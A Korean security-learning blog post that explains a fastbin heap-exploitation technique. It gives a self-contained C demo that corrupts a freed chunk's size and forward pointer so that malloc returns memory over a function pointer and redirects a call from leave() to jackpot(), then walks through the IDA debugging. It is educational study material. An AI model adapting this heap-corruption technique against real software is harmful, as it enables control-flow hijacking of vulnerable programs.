ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Heap exploit] fastbin unlink
    Hack/Pwnable 2016. 10. 19. 05:25
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    #include <stdio.h>
    #include <stdlib.h>
     
    void leave() { puts("exiting..."); }
    void jackpot() { puts("jackpot!"); }
     
    void (*p)() = leave;
     
    int main()
    {
        printf("&p = %p\n"&p);
     
        char *p1 = malloc(0x20);
        char *p2 = malloc(0x40);
        printf("p1 = %p\n", p1);
        printf("p2 = %p\n", p2);
     
        puts("\n[+] free p2");
        free(p2);
     
        puts("\n[+] modify &p-0x8");
        char *p_target = &p;
        *(void **)(p_target-0x8= 0x51;
        printf("&p-0x8 = %p\n"*(void **)(p_target-0x8));
     
        puts("\n[+] abuse p1 overflow");
        *(void **)(p1+0x28= 0x51;
        *(void **)(p1+0x30= p_target - 0x10;
        printf("p2->size = %p\n"*(void **)(p2-0x8));
        printf("p2->fd = %p\n"*(void **)(p2+0x0));
     
        puts("\n[+] unlink p2");
        char *p3 = malloc(0x40);
        printf("p3 = %p\n", p3);
     
        puts("\n[+] get target memory");
        char *p4 = malloc(0x40);
        printf("p4 = %p\n", p4);
        *(void **)p4 = jackpot;
     
        p();
        return 0;
    }
    cs



    [inaz2]


    해당 글은 fastbin에서의 unlink할 경우 발생하는 취약점에대해 다룬 글이다.

    fastbin은 0x80, 즉 128 바이트 미만의 malloc이 되었을 경우에만 fastbin의 구조를 가진다.

    코드의 대략 흐름은 아래와같다.

    1. malloc을 2번해준후, 두번째 malloc한것을 free해준다.
    2. 함수포인터인 p의 - 8바이트에 p1의 size인 0x51을 넣어준다.
    3. 할당된 p1+0x28 위치에 0x51값을 넣는다.
    4. 할당된 p1+0x30 위치에 &p - 0x10 주소를 넣는다.
    5. malloc을 2번하여 p4는 jackpot이라는 함수 주소로 덮는다.
    6. 함수포인터로 leave 함수를 호출한다.


    여기서 중요한것은 size 값인 0x51을 덮는것이다.

    fastbin은 unlink될때 p->fd->size 값만 비교하기 때문에 오버플로우시 size만 잘 덮어준다면 별다른 예외는 발생하지 않는다.

    해당 이유로, size chunk를 기존에 있던 0x51로 덮는것이다.


    [실행결과]



    size를 제대로 덮고나면 fd까지 overwrite할 수 있어 공격이 가능해진다.


    IDA 디버깅을 통해 눈으로 확인해보자 


    rax = 0x601050



    *(void **)(p_target-0x8= 0x51;


    해당 코드를 통해 &p-8 위치에 0x51을 셋팅했다.



    p1+0x28 즉, p2의 size chunk를 0x51 그대로 덮어준다. 기존에 있던 size랑 값이 다르다면 fastbin 검증을 통해 예외처리가 발생 할 것이다.



    제대로 덮혔다면 fastbin에서 p->fd->size에서 검증하고 루틴이 계속 실행될 것이다.


    그리고 다음 코드를 통해 fd를 ovewrite 해줄 것이다.


    *(void **)(p1+0x30= p_target - 0x10;



    fd가 제대로 overwrite되었다.


    0x601048로 overwrite 한이유는 다음과같다.


    fd는 forward pointer로, 다음 청크를 가리키게된다. 0x601048의 주소를 보자



    0x601048은 prev_size, 그다음 0x51은 size로, malloc으로 할당된다면 별탈없이 똑같은 모습을 취할수있다.



    위 사진을보면 p3 = 0x602040인것을 알 수 있다. p2가 free되었으니 정상적으로 malloc은  0x602040으로 할당 할 것이다. 하지만 한번더 malloc이 된다면,  malloc은 조작한 fd+16으로 할당이 될것이다.




    새로 malloc한 p4는 0x601058에 할당된다.


    아까 우리가 Overwrite해준 fd의 + 16바이트만큼으로 할당이 되었다.


    RDI레지스터를 확인해보면, 0x601058은 leave를 가리키고있는 포인터임을 알 수 있다.


    다음 코드는 아래와 같다.


    *(void **)p4 = jackpot;


    p4를 jackpot함수로 덮어준다. 하지만  p4는 이미 우리가 원하는대로 조작한 leave의 포인터이다.


    이것을 원하는 함수로 덮어주고, 함수포인터를 호출해주면 우리가 원하는 함수를 호출 할 수 있게되는것이다.



    우리가 원하는 jackpot함수로 제대로 덮혔고, 마지막 p()를 통해 호출함으로써 덮어준 결과가 출력된다.



    call leave를 했지만 덮어준대로 jackpot이 호출된다.








     


    'Hack > Pwnable' 카테고리의 다른 글

    heap 문제 시나리오들..  (0) 2016.11.08
    [Heap exploit] unsorted bin attack  (0) 2016.10.26
    [Heap exploit] unsafe_unlink  (0) 2016.10.18
    Heap Exploit - House of Force  (0) 2016.10.11
    ringzer0 pwnx64  (0) 2016.10.02

    댓글

Designed by Tistory.